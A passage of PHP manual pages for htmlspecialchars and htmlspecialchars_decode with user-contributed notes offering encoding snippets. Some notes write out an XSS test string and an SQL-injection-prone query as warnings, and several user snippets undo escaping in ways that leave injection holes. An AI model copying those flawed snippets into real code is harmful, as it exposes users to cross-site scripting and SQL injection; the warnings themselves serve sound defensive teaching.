                            '&quot;',
                            '&quot;',
                            '&mdash;'
                            );
        return str_replace($badwordchars,$fixedwordchars,$text);
    }
?>
Julien CROUZET 27-Nov-2003 12:01
If you are looking for a htmlentities inverse :

<?php
$table        = array_flip(get_html_translation_table(HTML_ENTITIES));
$plaintext    = strtr($html, $table);
?>

Here is a full example to extract plaintext from a SIMPLE html page (not table, etc...)

<?php
$file_content     = file_get_contents($htmlfile);
$file_content     = strip_tags($file_content, '<br>');
$file_content     = preg_replace('/<br( )?(\/)?>/i', "\n", $file_content);
$file_content     = wordwrap($file_content);
$table            = array_flip(get_html_translation_table(HTML_ENTITIES));
$file_content     = strtr($file_content, $table);
?>
dmurphy at telegeography dot com 19-Sep-2003 11:14
<?php
// htmlentities() does not support Mac Roman, so this is a workaround. It requires the below table.
// This function runs on a Mac OSX machine, where text is stored in the Mac Roman character set inside a Mac OSX MySQL table.
function custom_htmlentities ($string, $table) {
    // Loop throught the array, replacing each ocurrance
    for ($n = 0; $n < count($table); $n++) {
        $table_line = each($table);
        // use the chr function to get the one character string for each ascii decimal code
        $find_char = chr($table_line[key]);
        $replace_string = $table_line[value];
        $string = str_replace($find_char, $replace_string, $string);
    }
    return $string;
}
?>
defrostdj at defrostdj dot com 25-Jul-2003 12:10
Here you have a character map function ;)

<?php
function htmldecode($encoded, $char = 'HTML_SPECIALCHARS') {
    foreach($encoded as $key => $value){
        echo $value .' --> ';
        if ($char == 'HTML_SPECIALCHARS') {
            echo htmlspecialchars($value);
        } else {
            echo htmlentities($value);
        }
        echo '&gtbr&lt';
    }
}
echo 'ENTITIES<&gtbr&lt><&gtbr&lt>';
$entities = get_html_translation_table (HTML_ENTITIES);
htmldecode($entities, 'HTML_ENTITIES');
echo '<&gtbr&lt>SPECIAL CHARACTERS<&gtbr&lt><&gtbr&lt>';
$specialchars = get_html_translation_table (HTML_SPECIALCHARS);
htmldecode($specialchars, 'HTML_SPECIALCHARS');

?>

So next time you're developing you'll always have a charmap ready to use.
Anthony Aragues 24-Jun-2003 04:24
I found in a previous not the function for encoding the input... which worked great, but it also encoded the &nbsp and <br> that was being automatically added in my POST, so I created and Output function to go with it that worked for me:

<?php
function VerbatimInput($String)
    {
    $Output = mysql_escape_string(htmlentities(addslashes($String)));
    return $Output;
    }

function VerbatimOutput($Input)
    {
    $Output = str_replace("&lt;br /&gt;", "<br>", "$Input");
        $Output = str_replace("&amp;nbsp;", "&nbsp", "$Output");
    return $Output;
    }
?>
rob at neorosa dot com 28-Feb-2003 08:12
This function will encode everything, either using ascii values or special entities:

<?php
function encode_everything($string){
    $encoded = "";
    for ($n=0;$n<strlen($string);$n++){
        $check = htmlentities($string[$n],ENT_QUOTES);
       $string[$n] == $check ? $encoded .= "&#".ord($string[$n]).";" : $encoded .= $check;
    }
    return $encoded;
}
?>

so you can use:

<?php $emailAddress = encode_everything($emailAddress); ?>

to protect an email address - although I imagine it's not a great deal of protection.
Bassie (: 05-Jan-2003 04:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.
html_entity_decode
htmlspecialchars_decode
String Functions


Convert special HTML entities back to characters

htmlentities
htmlspecialchars
String Functions
PHP Manual

htmlspecialchars_decode

(PHP 5 >= 5.1.0)

htmlspecialchars_decode — Convert special HTML entities back to characters

Description

string htmlspecialchars_decode ( string $string [, int $quote_style = ENT_COMPAT ] )

This function is the opposite of htmlspecialchars(). It converts special HTML entities back to characters.

The converted entities are: &amp;, &quot; (when ENT_NOQUOTES is not set), &#039; (when ENT_QUOTES is set), &lt; and &gt;.

Parameters

string

The string to decode

quote_style

The quote style. One of the following constants:

quote_style constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone (default)
ENT_QUOTES | Will convert both double and single quotes
ENT_NOQUOTES | Will leave both double and single quotes unconverted

Return Values

Returns the decoded string.

Examples

Example #1 A htmlspecialchars_decode() example

<?php
$str = '<p>this -&gt; &quot;</p>';

echo htmlspecialchars_decode($str);

// note that here the quotes aren't converted
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

The above example will output:

<p>this -> "</p>
<p>this -> &quot;</p>

See Also

  • htmlspecialchars() - Convert special characters to HTML entities
  • html_entity_decode() - Convert all HTML entities to their applicable characters
  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities

User Contributed Notes

selimx at live dot com 20-Apr-2011 02:35
this function

<?php
function htmlkarakter($string)
{
   $string = str_replace(array("&lt;", "&gt;", '&amp;', '&#039;', '&quot;','&lt;', '&gt;'), array("<", ">",'&','\'','"','<','>'), htmlspecialchars_decode($string, ENT_NOQUOTES));

       return $string;

}
?>

Before
<description>&lt;div class=&quot;google-ad1&quot;&gt;
  &lt;script type=&#039;text/javascript&#039;&gt;
    GA_googleFillSlot(&quot;EW_News_300x250&quot;);
  &lt;/script&gt;

&lt;/div&gt;

after using the function

<div class="google-ad1">
  <script type='text/javascript'>
    GA_googleFillSlot("EW_News_300x250");
  </script>
pinkgothic at gmail dot com 10-Jun-2010 09:24
Keep in mind that you should never trust user input - particularly for "mixed-bag" input containing a combination of plain text and markup or scripting code.

Why?

Well, consider someone sending '&amp;<script>alert('XSS');</script>' to your PHP script:

<?php
$var = "&amp;<script>alert('XSS');</script>";
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var;
?>

Since '&amp;' decodes into '&', (htmlspecialchars_decode($var) == $var) will be -false-, thus returning $var without that it's escaped. In consequence, the script-tags are untouched, and you've just opened yourself to XSS.

There is, unfortunately, no reliable way to determine whether HTML is escaped or not that does not come with this caveat that I know of. Rather than try and catch the case 'I've already encoded this', you are better off avoiding double-escaping by simply escaping the HTML as close to the actual output as you can muster, e.g. in the view in an MVC development structure.
benharold at mac dot com 26-Jan-2009 04:48
or of course:

<?php

$var = "Blue & yellow make green.";

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // outputs Blue &amp; yellow make green.

// you can do it a bunch of times, it still won't screw you!

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // still outputs Blue &amp; yellow make green.

?>

Put it in a function. Add it to the method of some abstract data class.
benharold at mac dot com 26-Jan-2009 01:30
If you use `htmlspecialchars()` to change things like the ampersand (&) into it's HTML equivalent (&amp;), you might run into a situation where you mistakenly pass the same string to the function twice, resulting in things appearing on your website like, as I call it, the ampersanded amp; "&amp;". Clearly nobody want's "&amp;" on his or her web page where there is supposed to be just an ampersand. Here's a quick and easy trick to make sure this doesn't happen:

<?php

$var = "This is a string that could be passed to htmlspecialchars multiple times.";

if (htmlspecialchars_decode($var) == $var) {
    $var = htmlspecialchars($var);
}

echo $var;

?>

Now, if your dealing with text that is a mixed bag (has HTML entities and non-HTML entities) you're on your own.
thomas at xci[ignore_this]teit dot commm 28-Mar-2008 03:03
The example for "htmlspecialchars_decode()" below sadly does not work for all PHP4 versions.

Quote from the PHP manual:
"get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities()."

But it does NOT! At least not for PHP version 4.4.2.
This was already reported in a bug report (http://bugs.php.net/bug.php?id=25927), but it was marked as BOGUS.

Proof:
  Code:
--------------------
<?php
    var_dump(get_html_translation_table(HTML_SPECIALCHARS,ENT_QUOTES));
    var_dump(htmlspecialchars('\'',ENT_QUOTES));
?>
--------------------

  Output:
--------------------
array
  '"' => '&quot;'
  ''' => '&#39;'
  '<' => '&lt;'
  '>' => '&gt;'
  '&' => '&amp;'

'&#039;'
--------------------

This comment now is not to report this bug again (though I really believe it is one), but to complete the example and warn people of this pitfall.

To make sure your htmlspecialchars_decode fake for PHP4 works, you should do something like this:

<?php
    function htmlspecialchars_decode($string,$style=ENT_COMPAT)
    {
        $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
        if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
        return strtr($string,$translation);
    }
?>

Br, Thomas
Wout 28-Jul-2007 09:06
The following replacement for PHP 4 is a little more complete, as the quote_style is taken into account as well:

if (!function_exists("htmlspecialchars_decode")) {
    function htmlspecialchars_decode($string, $quote_style = ENT_COMPAT) {
        return strtr($string, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
    }
}
17-Aug-2006 05:49
This should be the best way to do it.
(Reposted because the other one seems a bit slower and because those who used the code under called it htmlspecialchars_decode_php4)

<?php

if ( !function_exists('htmlspecialchars_decode') )
{
    function htmlspecialchars_decode($text)
    {
        return strtr($text, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
    }
}

?>
TheSin 09-May-2006 02:51
Here is how you can get this function in php < 5.1, just make sure this function is before you try and call the function.

if (!function_exists('htmlspecialchars_decode')) {
        function htmlspecialchars_decode($str, $options="") {
                $trans = get_html_translation_table(HTML_SPECIALCHARS, $options);

                $decode = ARRAY();
                foreach ($trans AS $char=>$entity) {
                        $decode[$entity] = $char;
                }

                $str = strtr($str, $decode);

                return $str;
        }
}
se at designlinks dot net 14-Dec-2005 08:43
The code supplied by or-k at or-k dot com (14-Sep-2005 09:15) is better served using html_entity_decode() for PHP>=4.3.0.
geoffers@gmail (14-Jul-2005 01:38) offers the best htmlspecialchars_decode() for php4 users.
or-k at or-k dot com 14-Sep-2005 02:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail 14-Jul-2005 06:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com 14-Jul-2005 06:30
For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>
htmlentities
htmlspecialchars
String Functions


Convert special characters to HTML entities

htmlspecialchars_decode
implode
String Functions
PHP Manual

htmlspecialchars

(PHP 4, PHP 5)

htmlspecialchars — Convert special characters to HTML entities

Description

string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $charset [, bool $double_encode = true ]]] )

Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with some of these conversions made; the translations made are those most useful for everyday web programming. If you require all HTML character entities to be translated, use htmlentities() instead.

This function is useful in preventing user-supplied text from containing HTML markup, such as in a message board or guest book application.

The translations performed are:

  • '&' (ampersand) becomes '&amp;'
  • '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.
  • "'" (single quote) becomes '&#039;' only when ENT_QUOTES is set.
  • '<' (less than) becomes '&lt;'
  • '>' (greater than) becomes '&gt;'

Parameters

string

The string being converted.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_IGNORE | Silently discard invalid code unit sequences instead of returning an empty string. This is provided for backwards compatibility; avoid using it as it may have security implications.
ENT_SUBSTITUTE | Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of returning an empty string.
ENT_DISALLOWED | Replace code unit sequences, which are invalid in the specified document type, with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise).
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

charset

Defines character set used in conversion. The default character set is ISO-8859-1.

For the purposes of this function, the charsets ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent, provided the string itself is valid for the character set, as the characters affected by htmlspecialchars() occupy the same positions in all of these charsets.

Following character sets are supported in PHP 4.3.0 and later.

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian. This charset is supported in 4.3.2.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, 932 | Japanese
EUC-JP | EUCJP | Japanese
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

double_encode

When double_encode is turned off PHP will not encode existing html entities, the default is to convert everything.

Return Values

The converted string.

If the input string contains an invalid code unit sequence within the given charset and the ENT_IGNORE flag is not set, then htmlspecialchars() will return an empty string.

Changelog

Version | Description
5.4.0 | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
5.3.0 | The constant ENT_IGNORE was added.
5.2.3 | The double_encode parameter was added.
4.1.0 | The charset parameter was added.

Examples

Example #1 htmlspecialchars() example

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Notes

Note:

Note that this function does not translate anything beyond what is listed above. For full entity translation, see htmlentities().

See Also

  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities
  • htmlspecialchars_decode() - Convert special HTML entities back to characters
  • strip_tags() - Strip HTML and PHP tags from a string
  • htmlentities() - Convert all applicable characters to HTML entities
  • nl2br() - Inserts HTML line breaks before all newlines in a string

User Contributed Notes

steve at mcdragonsoftware dot com 17-Oct-2011 09:13
I am working with xml and zip functions to create an xlsx document from a template. Just as I thought I had it finished it stopped working. After a bit of hunting I discovered my zip file began with php notices about undefined constant. I have no idea why my installation can't remember what ENT_XML1 is, it used to know it (or so I thought)

To save anyone else this headache I recommend adding the code at the top of your scripts to verify that these constants are registered. Something like:

defined( "ENT_XML1") or define( "ENT_XML1",        16    );

for each constant you use. Again, I don't know why this problem suddenly came up, but better safe than "Excel cannot open the file....... format... extension... corrupted... blah blah blah".

cheers :)

here's a list of the constant values (since they are not on this page) as taken from html.h for php5

#define ENT_HTML_QUOTE_NONE            0
#define ENT_HTML_QUOTE_SINGLE           1
#define ENT_HTML_QUOTE_DOUBLE                2
#define ENT_HTML_IGNORE_ERRORS        4
#define ENT_HTML_SUBSTITUTE_ERRORS     8
#define ENT_HTML_DOC_TYPE_MASK        (16|32)
#define ENT_HTML_DOC_HTML401           0
#define ENT_HTML_DOC_XML1            16
#define ENT_HTML_DOC_XHTML            32
#define ENT_HTML_DOC_HTML5            (16|32)
/* reserve bit 6 */
#define ENT_HTML_SUBSTITUTE_DISALLOWED_CHARS    128

#define ENT_COMPAT        ENT_HTML_QUOTE_DOUBLE
#define ENT_QUOTES        (ENT_HTML_QUOTE_DOUBLE | ENT_HTML_QUOTE_SINGLE)
#define ENT_NOQUOTES    ENT_HTML_QUOTE_NONE
#define ENT_IGNORE        ENT_HTML_IGNORE_ERRORS
#define ENT_SUBSTITUTE    ENT_HTML_SUBSTITUTE_ERRORS
#define ENT_HTML401        0
#define ENT_XML1        16
#define ENT_XHTML        32
#define ENT_HTML5        (16|32)
#define ENT_DISALLOWED    128
ivan at lutrov dot com 15-Jun-2011 01:30
Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite.
info at 8th dot at 12-May-2011 11:28
English:
I'd found THE Final Solution!
it finds and replaces all unknown letters!
(like Ã„, Ã–, Ãœ, ÃŸ, and much much more)

it turn em in a HTML AND XML compatible format

parameter: $text: a String with unsuported letters in it
return: a String where all unsupported(XML und HTML) letters are changed into the Unicode value (for example &#196;)

Deutsch/German:
Ich hab die perfekte LÃ¶sung gefunden!
Es findet und tauscht alle unbekannten Buchstaben!
(wie Ã„, Ã–, Ãœ, ÃŸ, und viel viel mehr)

es tauscht sie in ein HTML und XML kompatibles Format

parameter: $text: ein String mit nichtunterstÃ¼zten Buchstaben
return: ein String wo alle von XML und HTML ununterstÃ¼tzten Buchstaben ins Unicode-Format getauscht sind (z.B. &#196;)

FUNCTION:

<?php
function umlaute($text){
    $returnvalue="";
    for($i=0;$i<strlen($text);$i++){
        $teil=hexdec(rawurlencode(substr($text, $i, 1)));
        if($teil<32||$teil>1114111){
            $returnvalue.=substr($text, $i, 1);
        }else{
            $returnvalue.="&#".$teil.";";
        }
    }
    return $returnvalue;
}
?>
pinkgothic at gmail dot com 11-Mar-2011 05:00
Please note that this function results in an E_WARNING when display_errors is off and an invalid multibyte string is passed to it (e.g. with 'utf-8' as the encoding parameter and broken utf-8 characters somewhere in the string).

This is ESPECIALLY IMPORTANT if you have an EXCEPTION-THROWING ERROR HANDLER, since even though you can't reproduce it in a development mode where display_errors is on, you MUST wrap your function call in a try-catch, or your application will crash.

[ The reason PHP makes this distinction is because this is a core function and many production servers are misconfigured to have display_errors on (to prevent such things as path disclosure from error messages from accidentally cropping up). See: http://bugs.php.net/bug.php?id=47494 ]
Thomasvdbulk at gmail dot com 28-Dec-2010 10:05
i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text,
the reason is that i recieve text from a database,
wich is inserted by an html form, and contains text and html tags,
the text can contain < and >, so does the tags,
with htmlspecialchars you can validate your text to XHTML,
but you'll also change the tags, like <b> to &lt;b&gt;,
so i needed a script that could see the difference between those two...
but i couldn't find one so i made my own one,
i havent fully tested it, but the parts i tested worked perfect!
just for people that were searching for something like this,
it may looks big, could be done easier, but it works for me, so im happy.

<?php
function fixtags($text){
$text = htmlspecialchars($text);
$text = preg_replace("/=/", "=\"\"", $text);
$text = preg_replace("/&quot;/", "&quot;\"", $text);
$tags = "/&lt;(\/|)(\w*)(\ |)(\w*)([\\\=]*)(?|(\")\"&quot;\"|)(?|(.*)?&quot;(\")|)([\ ]?)(\/|)&gt;/i";
$replacement = "<$1$2$3$4$5$6$7$8$9$10>";
$text = preg_replace($tags, $replacement, $text);
$text = preg_replace("/=\"\"/", "=", $text);
return $text;
}
?>

an example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

will echo:
this is smaller &lt; than this<br />
this is greater &gt; than this<br />
this is the same = as this<br />
<a href="http://www.example.com/example.php?test=test">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...

I hope its helpfull!!
Anonymous 01-Aug-2010 01:48
This may seem obvious, but if you want to output arbitrary (i.e. user-input) data as an attribute inside an HTML tag (such as the INPUT tags on a FORM), be aware of whether you are using ENT_QUOTES or ENT_COMPAT.  If you're using ENT_COMPAT, the attribute must be wrapped in double-quotes, as single-quotes will not be encoded and the user will be able to inject arbitrary HTML attributes (including javascript behavior) inside the tag, even though they will not be able to inject arbitrary HTML tags.

Also, if you want to allow users to input HTML attributes without them being double-encoded on display, there are two ways to accomplish this:

1 - Run their input through htmlentities_decode() followed by htmlspecialchars().

2 - Call htmlspecialchars() with $double_encode=false.

There is one functional difference between these two methods:  If you want to perform any search-replace on a user's input (such as word censoring in a message-board application), the second method will allow users to circumvent it by HTML-encoding their input, whereas the first will not.
nachitox2000 [at] hotmail [dot] com 01-Jul-2010 05:57
I had problems with spanish special characters. So i think in using htmlspecialchars but my strings also contain HTML.
So I used this :) Hope it help

<?php
function htmlspanishchars($str)
{
    return str_replace(array("&lt;", "&gt;"), array("<", ">"), htmlspecialchars($str, ENT_NOQUOTES, "UTF-8"));
}
?>
nessthehero at gmail dot com 19-May-2010 11:53
Here's a simple function I wrote for parsing form data.

It checks if it's an array and it is recursive (it calls itself).

It also decodes things that have already been encoded so it doesn't change &amp; to &amp;amp;

[In this version,] I found it easier to use a regular expression to check and see if any previously encoded data exists, then decode it repeatedly until there is none left, then re-encode it.

<?php
function formspecialchars($var)
    {
        $pattern = '/&(#)?[a-zA-Z0-9]{0,};/';

        if (is_array($var)) {    // If variable is an array
            $out = array();      // Set output as an array
            foreach ($var as $key => $v) {
                $out[$key] = formspecialchars($v);         // Run formspecialchars on every element of the array and return the result. Also maintains the keys.
            }
        } else {
            $out = $var;
            while (preg_match($pattern,$out) > 0) {
                $out = htmlspecialchars_decode($out,ENT_QUOTES);
            }
            $out = htmlspecialchars(stripslashes(trim($out)), ENT_QUOTES,'UTF-8',true);     // Trim the variable, strip all slashes, and encode it

        }

        return $out;
    }
?>
alif 11-Feb-2010 09:17
I had XML files with both '&amp;' , '&copyright;' and '&' characters. So, basically, I wrote this preg_replace, which replaces all '&' thats not an  entity to '&amp;'.

So '&amp;' doesnot get converted to '&ampamp;', only '&' gets converted to '&amp;'. Also, '&copyright;' , '&#160;' remains unaffected. Its basic, feel free to modify it.

preg_replace('/&(?![A-Za-z0-9#]{1,7};)/','&amp;',$theString);
timgvdh at gmail dot com 15-Dec-2009 08:54
Here's something that replicates the appearance of <pre> but still allows for word wrap:

<?php
function special_formatting($input) {
    $output = htmlspecialchars($input, ENT_QUOTES);
    $output = str_replace(array('  ', "\n"), array('&nbsp;&nbsp;', '<br>'), $output);
    return str_replace('&nbsp; ', '&nbsp;&nbsp;', $output);
}
?>
Anonymous 18-Sep-2009 10:16
This may seem obvious, but it caused me some frustration. If you try and use htmlspecialchars with the $charset argument set and the string you run it on is not actually the same charset you specify, you get any empty string returned without any notice/warning/error.

<?php

$ok_utf8 = "A valid UTF-8 string";
$bad_utf8 = "An invalid UTF-8 string";

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(0) ""

var_dump(htmlspecialchars($ok_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(20) "A valid UTF-8 string"

?>

So make sure your charsets are consistent

<?php

$bad_utf8 = "An invalid UTF-8 string";

// make sure it's really UTF-8
$bad_utf8 = mb_convert_encoding($bad_utf8, 'UTF-8', mb_detect_encoding($bad_utf8));

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(23) "An invalid UTF-8 string"

?>

I had this problem because a Mac user was submitting posts copy/pasted from a program and it contained weird chars in it.
Anonymous 16-Sep-2009 09:43
Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage...

1. Use htmlspecialchars() to filter text input values for html input tags.  i.e.,

echo '<input name=userdata type=text value="'.htmlspecialchars($data).'" />';

2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e.,

echo '<p>'.htmlentities($data).'</p>';

3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql,

pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'");

This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms.
chuck at N0SPAM1command dot com 12-Aug-2009 07:06
NOTE:
I made an error in my last post.

The last 3 lines should have read
<?php

...

$text = get_page($url);
--------^^^^^^^^
$new = htmlspecialchars($text, ENT_QUOTES); // here is the magic :)

    echo '<pre>' .$new. '</pre>';

?>

OOPS!
chuck at N0SPAM1command dot com 12-Aug-2009 05:57
Need to dump the source of page retrieved via <a href="http://us3.php.net/curl">CURL</a>?
I found it's easily done with htmlspecialchars()

eg;

<?php

function get_page($url)
{
  $curl = curl_init();
  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'some bot');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, '-');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
...
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_NOBODY, 0);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  $html = curl_exec($curl);
  curl_close($curl);

  return $html;
}

$text = get_page($url);
$new = htmlspecialchars($text, ENT_QUOTES); // here is the magic :)

    echo '<pre>' .$new. '</pre>';

?>

HTH
hm2k at php.net 22-Jun-2009 10:02
<?php
/**
 * A recursive version of htmlspecialchars() for arrays and strings.
 *
 */

function htmlspecialchars_deep($mixed, $quote_style = ENT_QUOTES, $charset = 'UTF-8')
{
    if (is_array($mixed)) {
        foreach($mixed as $key => $value) {
            $mixed[$key] = htmlspecialchars_deep($value, $quote_style, $charset);
        }
    } elseif (is_string($mixed)) {
        $mixed = htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style), $quote_style, $charset);
    }
    return $mixed;
}
?>
hello at haroonahmad dot co dot uk 23-Mar-2009 01:56
a common confusion among beginner is that what is the difference between htmlentities() and htmlspecialchars() really, because the manual examples are converting angular brackets for both.

well, htmlentities() will ALSO look for other language characters in the string e.g German, French or Italian etc. So if you think your attacker can use some foreign language characters for a XSS attack in URL etc then use htmlentities() instead of htmlspecialchars().

I hope it helps,

Haroon Ahmad
Kenneth Kin Lum 08-Oct-2008 06:45
if your goal is just to protect your page from Cross Site Scripting (XSS) attack, or just to show HTML tags on a web page (showing <body> on the page, for example), then using htmlspecialchars() is good enough and better than using htmlentities().  A minor point is htmlspecialchars() is faster than htmlentities().  A more important point is, when we use  htmlspecialchars($s) in our code, it is automatically compatible with UTF-8 string.  Otherwise, if we use htmlentities($s), and there happens to be foreign characters in the string $s in UTF-8 encoding, then htmlentities() is going to mess it up, as it modifies the byte 0x80 to 0xFF in the string to entities like &eacute;.  (unless you specifically provide a second argument and a third argument to htmlentities(), with the third argument being "UTF-8").

The reason htmlspecialchars($s) already works with UTF-8 string is that, it changes bytes that are in the range 0x00 to 0x7F to &lt; etc, while leaving bytes in the range 0x80 to 0xFF unchanged.  We may wonder whether htmlspecialchars() may accidentally change any byte in a 2 to 4 byte UTF-8 character to &lt; etc.  The answer is, it won't.  When a UTF-8 character is 2 to 4 bytes long, all the bytes in this character is in the 0x80 to 0xFF range. None can be in the 0x00 to 0x7F range.  When a UTF-8 character is 1 byte long, it is just the same as ASCII, which is 7 bit, from 0x00 to 0x7F.  As a result, when a UTF-8 character is 1 byte long, htmlspecialchars($s) will do its job, and when the UTF-8 character is 2 to 4 bytes long, htmlspecialchars($s) will just pass those bytes unchanged.  So htmlspecialchars($s) will do the same job no matter whether $s is in ASCII, ISO-8859-1 (Latin-1), or UTF-8.
brendel at krumedia dot de 15-May-2008 10:28
I know some people posted similar functions but may be you are looking for this version:

function jschars($str)
{
    $str = mb_ereg_replace("\\\\", "\\\\", $str);
    $str = mb_ereg_replace("\"", "\\\"", $str);
    $str = mb_ereg_replace("'", "\\'", $str);
    $str = mb_ereg_replace("\r\n", "\\n", $str);
    $str = mb_ereg_replace("\r", "\\n", $str);
    $str = mb_ereg_replace("\n", "\\n", $str);
    $str = mb_ereg_replace("\t", "\\t", $str);
    $str = mb_ereg_replace("<", "\\x3C", $str); // for inclusion in HTML
    $str = mb_ereg_replace(">", "\\x3E", $str);
    return $str;
}

if you use smarty your code may look like:

<a onclick="alert('{$text|jschars|htmlchars}');return false;">Test</a>

(Yes, we have the shortcur htmlchars instead of htmlspecialchars, so we are able to tell the encoding e.g. UTF-8 or ISO-8859-1 to htmlspecialchars)
php dot net at orakio dot net 10-Apr-2008 11:26
I was recently exploring some code when I saw this being used to make data safe for "SQL".

This function should not be used to make data SQL safe (although to prevent phishing it is perfectly good).

Here is an example of how NOT to use this function:

<?php
$username = htmlspecialchars(trim("$_POST[username]"));

$uniqueuser = $realm_db->query("SELECT `login` FROM `accounts` WHERE `login` = '$username'");
?>

(Only other check on $_POST['username'] is to make sure it isn't empty which it is after trim on a white space only name)

The problem here is that it is left to default which allows single quote marks which are used in the sql query. Turning on magic quotes might fix it but you should not rely on magic quotes, in fact you should never use it and fix the code instead. There are also problems with \ not being escaped. Even if magic quotes were used there would be the problem of allowing usernames longer than the limit and having some really weird usernames given they are to be used outside of html, this just provide a front end for registering to another system using mysql. Of course using it on the output wouldn;t cause that problem.

Another way to make something of a fix would be to use ENT_QUOTE or do:

<?php
$uniqueuser = $realm_db->query('SELECT `login` FROM `accounts` WHERE `login` = "'.$username.'";');
?>

Eitherway none of these solutions are good practice and are not entirely unflawed. This function should simply never be used in such a fashion.

I hope this will prevent newbies using this function incorrectly (as they apparently do).
treyh 09-Apr-2008 11:41
Here is a function that wraps htmlspecialchars and makes it work for xml.

function xmlspecialchars($text) {
   return str_replace('&#039;', '&apos;', htmlspecialchars($text, ENT_QUOTES));
}
crestfresh at gmail dot com 18-Feb-2008 07:02
Re ish1301's jsspecialchars() function: use json_encode() instead.
ish1301 at gmail doooot com 20-Nov-2007 02:56
used this function for making a variable javascript compatible

<?php
function jsspecialchars( $string = '') {
    $string = preg_replace("/\r*\n/","\\n",$string);
